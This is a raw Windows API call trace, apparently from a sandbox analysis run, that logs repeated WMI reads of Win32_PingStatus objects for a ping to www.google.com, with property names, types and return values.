SafeArrayGetDim (psa=0x4f3e3c0) returned 0x1 [0138.570] SafeArrayGetLBound (in: psa=0x4f3e3c0, nDim=0x1, plLbound=0x59ee6f4 | out: plLbound=0x59ee6f4) returned 0x0 [0138.570] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.570] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.570] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.570] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.570] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.570] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.570] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.570] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.570] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.570] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.570] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.570] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.570] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.570] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.570] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.570] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.570] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.570] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.570] SysStringByteLen (bstr="__PATH") returned 0xc [0138.570] SysStringByteLen (bstr="__PATH") returned 0xc [0138.571] IWbemClassObject:Get (in: This=0x507f00, wszName="__GENUS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x243faf0*=0, plFlavor=0x243faf4*=0 | out: pVal=0x59ee858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x243faf0*=3, plFlavor=0x243faf4*=64) returned 0x0 [0138.571] IWbemClassObject:Get (in: This=0x507f00, wszName="__CLASS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x243fb24*=0, plFlavor=0x243fb28*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x243fb24*=8, plFlavor=0x243fb28*=64) returned 0x0 [0138.571] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.571] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.571] IWbemClassObject:Get (in: This=0x507f00, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x243fb7c*=0, plFlavor=0x243fb80*=0 | out: pVal=0x59ee858*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x243fb7c*=8, plFlavor=0x243fb80*=64) returned 0x0 [0138.571] IWbemClassObject:Get (in: This=0x507f00, wszName="__DYNASTY", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x243fba4*=0, plFlavor=0x243fba8*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x243fba4*=8, plFlavor=0x243fba8*=64) returned 0x0 [0138.571] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.571] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.571] IWbemClassObject:Get (in: This=0x507f00, wszName="__RELPATH", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x243fbfc*=0, plFlavor=0x243fc00*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x243fbfc*=8, plFlavor=0x243fc00*=64) returned 0x0 [0138.571] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0138.571] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0138.571] IWbemClassObject:Get (in: This=0x507f00, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x243fdd8*=0, plFlavor=0x243fddc*=0 | out: pVal=0x59ee858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x243fdd8*=3, plFlavor=0x243fddc*=64) returned 0x0 [0138.572] IWbemClassObject:Get (in: This=0x507f00, wszName="__DERIVATION", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x243fe0c*=0, plFlavor=0x243fe10*=0 | out: pVal=0x59ee858*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e450*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b270, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x243fe0c*=8200, plFlavor=0x243fe10*=64) returned 0x0 [0138.572] IWbemClassObject:Get (in: This=0x507f00, wszName="__SERVER", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x243fe40*=0, plFlavor=0x243fe44*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x243fe40*=8, plFlavor=0x243fe44*=64) returned 0x0 [0138.572] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.572] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.572] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee894 | out: puCount=0x59ee894*=0x2) returned 0x0 [0138.572] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0x0, pszText=0x0 | out: puBuffLength=0x59ee890*=0xf, pszText=0x0) returned 0x0 [0138.572] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.572] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee894 | out: puCount=0x59ee894*=0x2) returned 0x0 [0138.572] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0x0, pszText=0x0 | out: puBuffLength=0x59ee890*=0xf, pszText=0x0) returned 0x0 [0138.572] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.572] IWbemClassObject:GetNames (in: This=0x507f00, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee89c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee890 | out: pNames=0x59ee890*="\x01ƀ\x04") returned 0x0 [0138.572] SafeArrayGetDim (psa=0x4f3e390) returned 0x1 [0138.572] SafeArrayGetDim (psa=0x4f3e390) returned 0x1 [0138.572] SafeArrayGetLBound (in: psa=0x4f3e390, nDim=0x1, plLbound=0x59ee728 | out: plLbound=0x59ee728) returned 0x0 [0138.572] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.572] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.572] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.572] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.573] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.573] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.573] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.573] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.573] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.573] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.573] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.573] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.573] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.573] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.573] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.573] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.573] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.573] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.573] SysStringByteLen (bstr="__PATH") returned 0xc [0138.573] SysStringByteLen (bstr="__PATH") returned 0xc [0138.573] IWbemClassObject:Get (in: This=0x507f00, wszName="__GENUS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2440220*=0, plFlavor=0x2440224*=0 | out: pVal=0x59ee88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2440220*=3, plFlavor=0x2440224*=64) returned 0x0 [0138.573] IWbemClassObject:Get (in: This=0x507f00, wszName="__CLASS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2440254*=0, plFlavor=0x2440258*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2440254*=8, plFlavor=0x2440258*=64) returned 0x0 [0138.573] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.573] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.573] IWbemClassObject:Get (in: This=0x507f00, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24402ac*=0, plFlavor=0x24402b0*=0 | out: pVal=0x59ee88c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24402ac*=8, plFlavor=0x24402b0*=64) returned 0x0 [0138.574] IWbemClassObject:Get (in: This=0x507f00, wszName="__DYNASTY", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24402d4*=0, plFlavor=0x24402d8*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x24402d4*=8, plFlavor=0x24402d8*=64) returned 0x0 [0138.574] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.574] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.574] IWbemClassObject:Get (in: This=0x507f00, wszName="__RELPATH", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x244032c*=0, plFlavor=0x2440330*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x244032c*=8, plFlavor=0x2440330*=64) returned 0x0 [0138.574] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0138.574] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0138.574] IWbemClassObject:Get (in: This=0x507f00, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2440514*=0, plFlavor=0x2440518*=0 | out: pVal=0x59ee88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2440514*=3, plFlavor=0x2440518*=64) returned 0x0 [0138.574] IWbemClassObject:Get (in: This=0x507f00, wszName="__DERIVATION", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2440548*=0, plFlavor=0x244054c*=0 | out: pVal=0x59ee88c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e450*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b270, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2440548*=8200, plFlavor=0x244054c*=64) returned 0x0 [0138.574] IWbemClassObject:Get (in: This=0x507f00, wszName="__SERVER", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x244057c*=0, plFlavor=0x2440580*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x244057c*=8, plFlavor=0x2440580*=64) returned 0x0 [0138.574] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.575] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.575] IWbemClassObject:Get (in: This=0x507f00, wszName="__SERVER", lFlags=0, pVal=0x59ee980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x244057c*=8, plFlavor=0x2440580*=64 | out: pVal=0x59ee980*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x244057c*=8, plFlavor=0x2440580*=64) returned 0x0 [0138.575] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.575] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.575] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee860 | out: puCount=0x59ee860*=0x2) returned 0x0 [0138.575] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee85c*=0xf, pszText=0x0) returned 0x0 [0138.575] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.575] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee860 | out: puCount=0x59ee860*=0x2) returned 0x0 [0138.575] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee85c*=0xf, pszText=0x0) returned 0x0 [0138.575] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.575] IWbemClassObject:GetNames (in: This=0x507f00, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee868*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee85c | out: pNames=0x59ee85c*="\x01ƀ\x04") returned 0x0 [0138.575] SafeArrayGetDim (psa=0x4f3e3c0) returned 0x1 [0138.575] SafeArrayGetDim (psa=0x4f3e3c0) returned 0x1 [0138.575] SafeArrayGetLBound (in: psa=0x4f3e3c0, nDim=0x1, plLbound=0x59ee6f4 | out: plLbound=0x59ee6f4) returned 0x0 [0138.575] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.575] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.575] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.576] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.576] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.576] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.576] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.576] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.576] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.576] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.576] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.576] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.576] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.576] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.576] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.576] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.576] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.576] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.576] SysStringByteLen (bstr="__PATH") returned 0xc [0138.576] SysStringByteLen (bstr="__PATH") returned 0xc [0138.576] IWbemClassObject:Get (in: This=0x507f00, wszName="__GENUS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2440b00*=0, plFlavor=0x2440b04*=0 | out: pVal=0x59ee858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2440b00*=3, plFlavor=0x2440b04*=64) returned 0x0 [0138.576] IWbemClassObject:Get (in: This=0x507f00, wszName="__CLASS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2440b34*=0, plFlavor=0x2440b38*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2440b34*=8, plFlavor=0x2440b38*=64) returned 0x0 [0138.576] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.577] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.577] IWbemClassObject:Get (in: This=0x507f00, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2440b8c*=0, plFlavor=0x2440b90*=0 | out: pVal=0x59ee858*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2440b8c*=8, plFlavor=0x2440b90*=64) returned 0x0 [0138.577] IWbemClassObject:Get (in: This=0x507f00, wszName="__DYNASTY", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2440bb4*=0, plFlavor=0x2440bb8*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2440bb4*=8, plFlavor=0x2440bb8*=64) returned 0x0 [0138.577] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.577] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.577] IWbemClassObject:Get (in: This=0x507f00, wszName="__RELPATH", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2440c0c*=0, plFlavor=0x2440c10*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2440c0c*=8, plFlavor=0x2440c10*=64) returned 0x0 [0138.577] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0138.577] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0138.577] IWbemClassObject:Get (in: This=0x507f00, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2440de8*=0, plFlavor=0x2440dec*=0 | out: pVal=0x59ee858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2440de8*=3, plFlavor=0x2440dec*=64) returned 0x0 [0138.577] IWbemClassObject:Get (in: This=0x507f00, wszName="__DERIVATION", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2440e1c*=0, plFlavor=0x2440e20*=0 | out: pVal=0x59ee858*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e450*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b270, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2440e1c*=8200, plFlavor=0x2440e20*=64) returned 0x0 [0138.578] IWbemClassObject:Get (in: This=0x507f00, wszName="__SERVER", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2440e50*=0, plFlavor=0x2440e54*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2440e50*=8, plFlavor=0x2440e54*=64) returned 0x0 [0138.578] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.578] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.578] IWbemClassObject:Get (in: This=0x507f00, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2440e9c*=0, plFlavor=0x2440ea0*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2440e9c*=8, plFlavor=0x2440ea0*=64) returned 0x0 [0138.578] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.578] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.578] IWbemClassObject:Get (in: This=0x507f00, wszName="__PATH", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2440ee8*=0, plFlavor=0x2440eec*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2440ee8*=8, plFlavor=0x2440eec*=64) returned 0x0 [0138.578] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0138.578] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0138.578] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee89c | out: puCount=0x59ee89c*=0x2) returned 0x0 [0138.578] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee898*=0x0, pszText=0x0 | out: puBuffLength=0x59ee898*=0xf, pszText=0x0) returned 0x0 [0138.578] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee898*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.578] IWbemClassObject:Get (in: This=0x507f00, wszName="Address", lFlags=0, pVal=0x59ee898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2441120*=0, plFlavor=0x2441124*=0 | out: pVal=0x59ee898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x2441120*=8, plFlavor=0x2441124*=0) returned 0x0 [0138.578] SysStringByteLen (bstr="www.google.com") returned 0x1c [0138.578] SysStringByteLen (bstr="www.google.com") returned 0x1c [0138.578] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee894 | out: puCount=0x59ee894*=0x2) returned 0x0 [0138.578] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0x0, pszText=0x0 | out: puBuffLength=0x59ee890*=0xf, pszText=0x0) returned 0x0 [0138.578] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.578] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee894 | out: puCount=0x59ee894*=0x2) returned 0x0 [0138.578] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0x0, pszText=0x0 | out: puBuffLength=0x59ee890*=0xf, pszText=0x0) returned 0x0 [0138.579] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.579] IWbemClassObject:GetNames (in: This=0x507f00, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee89c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee890 | out: pNames=0x59ee890*="\x01ƀ\x04") returned 0x0 [0138.579] SafeArrayGetDim (psa=0x4f3e390) returned 0x1 [0138.579] SafeArrayGetDim (psa=0x4f3e390) returned 